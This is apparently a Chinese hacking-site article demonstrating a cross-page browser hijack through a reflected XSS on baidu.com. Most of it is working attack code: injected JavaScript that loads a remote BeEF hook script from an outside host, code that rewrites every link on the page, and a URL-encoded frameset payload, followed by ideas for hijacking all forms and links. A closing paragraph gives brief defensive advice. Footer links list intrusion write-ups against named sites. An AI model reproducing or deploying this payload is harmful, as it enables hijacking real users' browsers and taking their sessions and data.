|
利用XSS漏洞跨页面劫持浏览器
现在我就利用所有的条件来实现一次模拟攻击,首先是核心代码,给打开的窗口注入一个JS:
以下是引用片段:
function win(){
x=window.open(’http://www.baidu.com’);
setTimeout(function(){
x.location="javascript:var s=document.createElement(’script’);s.setAttribute(’src’,’http://beef.js’);document.getElementsByTagName(’head’)[0].appendChild(s);void(0)”
},3000)
}
然后是劫持代码,历遍当前页面所有的链接,把链接绑定核心代码:
以下是引用片段:
window.onload=function(){
for (i=0;i
document.links[i].href=”javascript:win()”
}
}
再利用百度XSS重写一个页面加入劫持代码,并且把这个攻击链接放入一个框架页:
以下是引用片段:
<html>
<head>
<frameset cols=”100%”>
<frame name=”xss” src=’http://www.baidu.com/index.php?bar=”/**/style=xss:expression((window.r!=1)?eval(”window.r=1;eval(unescape(location.hash.substr(1)))”):1);#info%20%3D%22%3Chtml%3E%22+%22%5Cn%22+%0D%0A%22%3Cbody%3E%22+%22%5Cn%22+%0D%0A%22%3Ca%20href%3D%5C%22http%3A//www.baidu.com%5C%22%3E%u70B9%u51FB%u8FDB%u5165%u767E%u5EA6%u4E3B%u9875%3C/a%3E%22+%22%5Cn%22+%0D%0A%22%22+%22%5Cn%22+%0D%0A%22%3Cscript%3E%22+%22%5Cn%22+%0D%0A%22%22+%22%5Cn%22+%0D%0A%22function%20win%28%29%7B%22+%22%5Cn%22+%0D%0A%22x%3Dwindow.open%28%5C%27http%3A//www.baidu.com%5C%27%29%3B%22+%22%5Cn%22+%0D%0A%22setTimeout%28function%28%29%7B%22+%22%5Cn%22+%0D%0A%22x.location%3D%5C%22javascript%3Avar%20s%3Ddocument.createElement%28%5C%27script%5C%27%29%3Bs.setAttribute%28%5C%27src%5C%27%2C%5C%27http%3A//xss.betaslife.com/beef.js%5C%27%29%3Bdocument.getElementsByTagName%28%5C%27head%5C%27%29%5B0%5D.appendChild%28s%29%3Bvoid%280%29%5C%22%22+%22%5Cn%22+%0D%0A%22%7D%2C2000%29%22+%22%5Cn%22+%0D%0A%22%7D%22+%22%5Cn%22+%0D%0A%22%22+%22%5Cn%22+%0D%0A%22%22+%22%5Cn%22+%0D%0A%22for%20%28i%3D0%3Bi%3Cdocument.links.length%3Bi++%29%20%7B%20%22+%22%5Cn%22+%0D%0A%22document.links%5Bi%5D.href%3D%5C%22javascript%3Awin%28%29%5C%22%22+%22%5Cn%22+%0D%0A%22%7D%22+%22%5Cn%22+%0D%0A%22%22+%22%5Cn%22+%0D%0A%22%3C/script%3E%22+%22%5Cn%22+%0D%0A%22%22+%22%5Cn%22+%0D%0A%22%3C/body%3E%22+%22%5Cn%22+%0D%0A%22%3C/html%3E%22%0D%0Adocument.write%28info%29′ scrolling=”auto”>
</frameset>
<noframes>
<body>
</noframes>
</html>
最后实现的效果是在这个页面打开的链接和浏览的网页的都被注入了脚本,利用参数型跨站脚本漏洞我们成功的构造了一次跨页面的浏览器劫持,模拟攻击中我是给页面注入一个BEEF(非常出名的跨站脚本攻击平台)脚本进行渗透攻击,具体可以参照我这里做好的一个录像:
http://www.05112.com/Soft/200806/6645.html
在这里我只是完成了一个很简陋的EXP,实际攻击中我们注入的脚本应该是把页面重写成跨框架脚本攻击页面 (http://ortdx.blog.163.com/blog/static/213610812006912114755107/),然后再结合 AJAX技术劫持页面里所有的链接和表单,新浏览的页面和新开的窗口都能自动注入脚本,这样几乎可以控制住所有从跨站脚本漏洞页面出来的页面。
总结
以往大家都以为XSS漏洞只能对特定页面造成影响,经过我的分析大家应该了解到XSS漏洞的影响应该是整站范围的。以后的WEB x.0网站开始大量使用AJAX技术,浏览页面几乎是不刷新的,所以利用XSS漏洞劫持浏览器这种攻击方式将是致命的。另外可以看到的是,XSS已经不是 传统意义上的劫持会话进行攻击,而是劫持用户的整个浏览器。建议各大网站和程序开发者,谨慎对待每一个可能出现安全问题的细节,多检查程序中的输入输出, 尽量避免XSS漏洞。对于用户可以考虑使用Firefox浏览器的noscript插件,从客户端防住XSS攻击。
| 实例讲解跨站入侵攻防战之攻击篇 | 05-08 |
| 对偶偶娱乐分站服务器的安全检测 | 04-23 |
| 入侵88red系统的详细过程 | 04-07 |
| 对趋势科技等数万网站被攻击的分 | 03-21 |
| 凡人网络购物系统 V8.0 简体中文 | 03-18 |
| linux平台下渗透日本著名XXXXXX. | 03-18 |
| 搜索框所引起的XSS漏洞 | 03-05 |
| 跳转漏洞的利用 | 03-05 |
| 对复旦大学的一次漫长渗透 | 03-03 |
| .net一句话马以及dx论坛拿shell | 03-01 |
| php渗透入侵过程图文详解 | 03-01 |
| DJ网站的入侵详细过程 | 02-26 |